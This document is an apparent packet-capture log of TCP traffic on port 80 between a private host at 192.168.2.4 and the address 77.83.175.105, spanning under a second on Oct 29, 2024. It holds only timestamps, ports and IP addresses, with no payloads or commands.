Oct 29, 2024 04:17:16.983592987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.983609915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.983623981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.983643055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.983653069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.983659029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.983675003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.983712912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.984188080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.984204054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.984219074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:16.984245062 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:16.984271049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.029412985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.029433012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.029450893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.029469967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.029479027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.029486895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.029506922 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.029551029 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.102025032 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102070093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102093935 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102108002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.102109909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102108002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.102125883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102143049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102144003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.102144003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.102159977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102163076 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.102201939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.102423906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102448940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102463961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102478027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102494001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102498055 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.102509975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102519035 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.102526903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.102544069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.102572918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.103327990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.103374958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.103380919 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.103390932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.103409052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.103421926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.103452921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.103452921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.148005009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.148027897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.148041964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.148055077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.148066998 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.148109913 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.148129940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.221215010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221226931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221236944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221256971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221268892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221281052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221297979 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.221348047 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.221541882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221554041 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221565962 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221577883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221618891 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.221618891 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.221972942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221982956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.221995115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.222027063 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.222049952 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.222060919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.222073078 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.222084999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.222105980 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.222140074 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.222773075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.222786903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.222798109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.222824097 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.222851992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.222851992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.222861052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.222873926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.222915888 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.267158031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.267169952 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.267185926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.267199993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.267211914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.267225027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.267277956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.340198994 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340234995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340249062 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340260983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340290070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.340333939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340342999 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.340356112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340368032 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340403080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340413094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.340414047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340457916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.340890884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340922117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340933084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340945005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340949059 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.340960026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340975046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.340976954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.340976954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.341002941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.341006041 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.341012001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.341039896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.341064930 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.341757059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.341768980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.341780901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.341794014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.341816902 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.341847897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.386286974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.386315107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.386353970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.386354923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.386368036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.386379957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.386393070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.386393070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.386414051 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.386447906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.459470987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.459490061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.459515095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.459526062 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.459537029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.459551096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.459563017 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.459575891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.459585905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.459590912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.459599018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.459683895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.459683895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.460145950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.460158110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.460169077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.460180044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.460200071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.460205078 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.460211992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.460223913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.460232973 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.460236073 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.460254908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.460273027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.461091042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.461103916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.461114883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.461127996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.461150885 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.461174965 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.505480051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.505496025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.505506992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.505541086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.505553961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.505582094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.505635023 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.578831911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.578850031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.578879118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.578890085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.578905106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.578906059 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.578954935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.578985929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579029083 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.579067945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579078913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579091072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579112053 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579113007 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.579124928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579137087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579139948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.579139948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.579149008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579160929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.579179049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.579212904 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.579876900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579922915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579935074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.579983950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.580004930 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.580008030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.580020905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.580033064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.580044031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.580048084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.580075026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.580075026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.580092907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.580612898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.580625057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.580636978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.580684900 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.580714941 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.627945900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.627959967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.627973080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.627985001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.627995968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.628025055 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.628084898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.697989941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698021889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698033094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698045015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698065042 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.698097944 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.698106050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698117018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698133945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698144913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698156118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698170900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698182106 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.698211908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.698213100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.698935986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698946953 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.698993921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.699024916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.699063063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.699074984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.699084997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.699136972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.699300051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.699331045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.699343920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.699347019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.699384928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.699387074 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.699397087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.699409008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.699440956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.699467897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.699961901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.700010061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.700021982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.700031042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.700071096 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.700100899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.743690014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.743727922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.743738890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.743779898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.743813992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.790258884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.790276051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.790287971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.790354013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.790399075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.817249060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817279100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817297935 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817310095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817311049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.817322969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817337036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.817337990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817351103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817356110 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.817382097 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.817401886 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.817725897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817783117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817781925 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.817794085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817804098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.817846060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818036079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818093061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818094015 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818104029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818134069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818141937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818152905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818156004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818185091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818209887 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818598986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818612099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818629026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818656921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818687916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818820000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818830967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818841934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818852901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818911076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818921089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818922997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818921089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818934917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818944931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.818967104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.818967104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.819005013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.862669945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.862692118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.862704039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.862773895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.909383059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.909439087 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.909554005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.909565926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.909605980 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.909638882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.936356068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.936379910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.936392069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.936414957 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.936445951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.936455965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.936469078 CET	80	49755	77.83.175.105	192.168.2.4
